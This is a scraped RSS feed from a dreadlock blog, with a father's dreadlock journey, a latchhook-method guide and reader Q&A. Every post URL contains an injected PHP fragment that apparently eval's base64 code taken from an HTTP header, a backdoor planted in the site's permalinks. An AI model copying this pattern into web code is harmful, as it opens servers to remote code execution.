My Dread Lock » dreadlock http://www.mydreadlock.com Answers To Your Dreadlock Questions Tue, 25 Jan 2011 10:42:29 +0000 en hourly 1 http://wordpress.org/?v=3.0.4 Dreadlock Journey – Father And Sons http://www.mydreadlock.com/2010/09/19/dreadlock-journey-father-and-sons/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.mydreadlock.com/2010/09/19/dreadlock-journey-father-and-sons/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sun, 19 Sep 2010 19:04:48 +0000 admin http://www.mydreadlock.com/?p=664


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Do you have questions like, how to get dreadlocks, how to remove dreadlocks, how to make dreadlocks instantly, etc? Well you will find the answers to your dreadlocks questions here.




My name is Gerry Carbon. I’m an ex-Army Sargeant and the boys in the picture above are my boys. I’ve been clean-cut all my life and want a change. I am taking this one step at a time as this is a big change for me. I’m excited and I’m inviting you to take this journey with me. I am going to record this journey step-by-step, letting you know what products I’m using and any problems I’m having.









Dreads Are Beautiful!!





Dreadlock Your Hair And Never Use Gel or Beeswax Again

Are you considering putting dreadlocks in your hair? Are you totally freaked out about how to get started.  Well let me ease your mind.  Starting your dreads does not have to be a complicated procedure like some people make it seem.  I know from experience when I put the first dreadlock in my son’s hair that it’s not complicated.  However, you must know what you’re doing or what you’re getting  into.

There are actually five ways to dreadlock your hair.  They are:

1.  Backcombing Method
2.  Gel and waxing Method
3.  Twist and Rip Method
4.  Natural Method
5.  Latchhook or Interlocking Method.

With the Latchhook method you will instantly dreadlock your hair, and avoid using gel, and wax (which ends up damaging your locks), etc.  You will never even have to use gel to retwist your growing locks ever again.   You can start one dreadlock at a time with the Latchhook Method without ever having to use gel, backcombing, beeswax, etc.  This method is instant.  You don’t have to wait 6-8 months for your hair to actually lock up.  This is one of the best ways to start and maintain dreadlocks today.

What’s really awesome about this method is that any hair type can be instantly locked with this method.  It doesn’t matter whether your hair is permed, you’re Caucasian, Chineese, Black, etc, you can use this method to lock your hair instantly.  You can start your locks with this method yourself, but I wouldn’t recommend it.

If you go to a loctitian that specializes in the Latchhook method it can cost you anywhere from $500, and even up to $1000 just to get the dreds started.  Once your hair is done, you can then maintain them on your own. Remember, not all loctitians specialize in this method.  Some are not familiar with it.  So make sure you find the right loctitian before getting started.

With the latchhook method you take your time, one dreadlock at a time, using a special tool, like the Nappylocs dreadlock tool, The Latchhook Crochet Needle tool, a twisted bobby pin, etc.  For example, What you’re doing is actually threading the Nappylocs tool with your hair and sewing your hair.

The Nappyloc tool actually looks like an oversized needle.  To actually lock the hair, you would section the hair, and then the hair is actually woven from the tip all the way to the root.  So what you’re actually doing is sort of braiding the hair backwards.

You can actually do this with your fingers and then after you reach close to the root of the hair, then you use the Nappyloc, Latchhook crocheting tool, etc to tighten the root.  You can use this method with dreadlocks of different sizes.  It can be a long, tedious start using this method, but when it’s done, what you’ll have are stronger, instant locks without damaging beeswax, and gooey gel that ends up leaving residue buildup overtime.

You don’t have to retwist your locks often, and you can wash your hair right after you’re done without worrying about the locks getting undone.  This is what I call, “The New Age of Dreadlocks!”

Dreadlock Tools

Nappylocs “Tool

http://www.nappylocs.com/

]]> http://www.mydreadlock.com/2010/09/19/dreadlock-journey-father-and-sons/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 My Dreadlock Hair Update – Finally Got It Done!!! http://www.mydreadlock.com/2010/09/19/my-dreadlock-hair-update-finally-got-it-done/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.mydreadlock.com/2010/09/19/my-dreadlock-hair-update-finally-got-it-done/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sun, 19 Sep 2010 17:29:07 +0000 admin http://www.mydreadlock.com/?p=659 It has been five long months since I made my first video regarding starting dreadlocks. I was extremely busy over the past five months. So I have finally got them done and I am loving it!!! Am I missing my old hairstyle? Absolutely not! Check out my Dreadlock Hair update below.

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]]> http://www.mydreadlock.com/2010/09/19/my-dreadlock-hair-update-finally-got-it-done/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 What is the name of the crazy dreadlock guy who played in waterworld? http://www.mydreadlock.com/2010/02/22/what-is-the-name-of-the-crazy-dreadlock-guy-who-played-in-waterworld/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.mydreadlock.com/2010/02/22/what-is-the-name-of-the-crazy-dreadlock-guy-who-played-in-waterworld/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Mon, 22 Feb 2010 16:19:04 +0000 admin http://www.mydreadlock.com/dreadlock/what-is-the-name-of-the-crazy-dreadlock-guy-who-played-in-waterworld What is the actors name in real life?
He was the one that traded Kevin Cosner a tomato plant i trade for sex with the woman,he ended up being a bad man and kevin killed him.
anybody know who i’m talking about????????

FOUND HIM! I kept overlooking his name on IMDB because I thought it was a chicks name.

His name is Kim Coates. I recognized him from that TV Show "Sons of Anarchy" about a motorcycle gang. But yeah, finally figured it out.

]]> http://www.mydreadlock.com/2010/02/22/what-is-the-name-of-the-crazy-dreadlock-guy-who-played-in-waterworld/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 1 How can you put a key in a dreadlock? http://www.mydreadlock.com/2010/02/03/how-can-you-put-a-key-in-a-dreadlock/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.mydreadlock.com/2010/02/03/how-can-you-put-a-key-in-a-dreadlock/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Wed, 03 Feb 2010 18:33:01 +0000 admin http://www.mydreadlock.com/dreadlock/how-can-you-put-a-key-in-a-dreadlock im plannin gon putting three or four dreadlocks in my hair and think it would be cool if one of them had a small skeleton key in it :)

also if you have any tips for making a dreadlock, thatd be great :)

oh and i want thin dreadlocks, not huge ones.

If you want to put a key in a dreadlock, you’ll have to take a bunch of hair, and push it through the key’s hole. Then backcomb the hair around the dread and apply beeswax.
Heres a good site with video tutorials with tips and instructions on how to make dreads http://www.knottyboy.com/learn/step_by_step_instructions/
Good luck ^ _ ^

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]]> http://www.mydreadlock.com/2010/01/03/where-can-i-find-how-to-videos-to-style-dreadlock-extensions/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 2 Why do people think dreadlock are dirty just because you hair is knotted? http://www.mydreadlock.com/2009/12/21/why-do-people-think-dreadlock-are-dirty-just-because-you-hair-is-knotted/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.mydreadlock.com/2009/12/21/why-do-people-think-dreadlock-are-dirty-just-because-you-hair-is-knotted/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Tue, 22 Dec 2009 03:38:02 +0000 admin http://www.mydreadlock.com/dreadlock/why-do-people-think-dreadlock-are-dirty-just-because-you-hair-is-knotted
ASHLEY – Erm, Bob Marley you moron troll!

]]> http://www.mydreadlock.com/2009/12/21/why-do-people-think-dreadlock-are-dirty-just-because-you-hair-is-knotted/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 17 What are some dreadlock-inspired hairstyles? http://www.mydreadlock.com/2009/12/06/what-are-some-dreadlock-inspired-hairstyles/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.mydreadlock.com/2009/12/06/what-are-some-dreadlock-inspired-hairstyles/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sun, 06 Dec 2009 19:23:05 +0000 admin http://www.mydreadlock.com/dreadlock/what-are-some-dreadlock-inspired-hairstyles I can’t get dreads ( as much as I wish I could ) so what is something I can do similar with my hair?
I have long, brown hair.

Try the twist. They are cute especially if layered.

Peace*

]]> http://www.mydreadlock.com/2009/12/06/what-are-some-dreadlock-inspired-hairstyles/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 3 Can anyone make their own dreadlock products? http://www.mydreadlock.com/2009/12/02/can-anyone-make-their-own-dreadlock-products/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.mydreadlock.com/2009/12/02/can-anyone-make-their-own-dreadlock-products/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Thu, 03 Dec 2009 04:58:08 +0000 admin http://www.mydreadlock.com/dreadlock/can-anyone-make-their-own-dreadlock-products Yo. Ive been wanting to lock my hair for about a year now. it is nappy thick and coarse i am an african american woman. i want to use all natural products in my hair because i hear that things like beeswax are actually bad for dreadlocks. i would like to know if anyone knows how to make their own natural dreadlock products. . . or at least where i can get some for cheap because they cost too much im poor

I too wish to have my hair done next year on my 50th birthday.
You must know or see other females who have their hair in locks, you should speak to any and every female with locks to get a better understanding of how it can be maintained at varying costs. I know of 3 females within my family that i could ask about it on your behalf, and you could write to me if you wish me to convey my findings on to you.
I wish to have mine done july 3rd or as close as possible to my 50th so thanks to your question which has reminded me that i had better make a start as to what i am going to need to know to maintain my locks.

]]> http://www.mydreadlock.com/2009/12/02/can-anyone-make-their-own-dreadlock-products/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 2 In the song "Buffalo Soldier", what is the comparison between the dreadlock rasta and the buffalo soldier? http://www.mydreadlock.com/2009/11/29/in-the-song-buffalo-soldier-what-is-the-comparison-between-the-dreadlock-rasta-and-the-buffalo-soldier/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.mydreadlock.com/2009/11/29/in-the-song-buffalo-soldier-what-is-the-comparison-between-the-dreadlock-rasta-and-the-buffalo-soldier/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sun, 29 Nov 2009 17:56:09 +0000 admin http://www.mydreadlock.com/dreadlock/in-the-song-buffalo-soldier-what-is-the-comparison-between-the-dreadlock-rasta-and-the-buffalo-soldier I’m doing an analysis on "Buffalo Soldier" by Bob Marley, and I know all there basically is to know in 3 hours of researching on Buffalo Soldiers, but I still am having a hard time really understanding the link between the Buffalo Soldier and the Dreadlock Rasta. I mean, they both were descended slaves from Africa. they are both fighting to get rid of oppression in a way. But I still am unsure of what Bob was trying to say about both of them… anyone help?

In Jamaica the Dreadlock Rasta is treated poorly. The Dreadlock Rasta is fighting for Rastafarian values and survival, similar to how the Africans were fighting to keep their dignity. In other words, Dreadlock Rastas grew from Africans who are the Buffalo Soldier so therefore, when he says the words: "If you know your history then you would know where you coming from ,then you wouldn’t have to ask me who the heck do I think I am", Bob Marley is saying: "I’m angry that history is taught inaccurately."
He realizes that "he is just another descendant of an African."
Beautiful song, by the way !!!

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Cheers,
Sam

I also unble to catch it.

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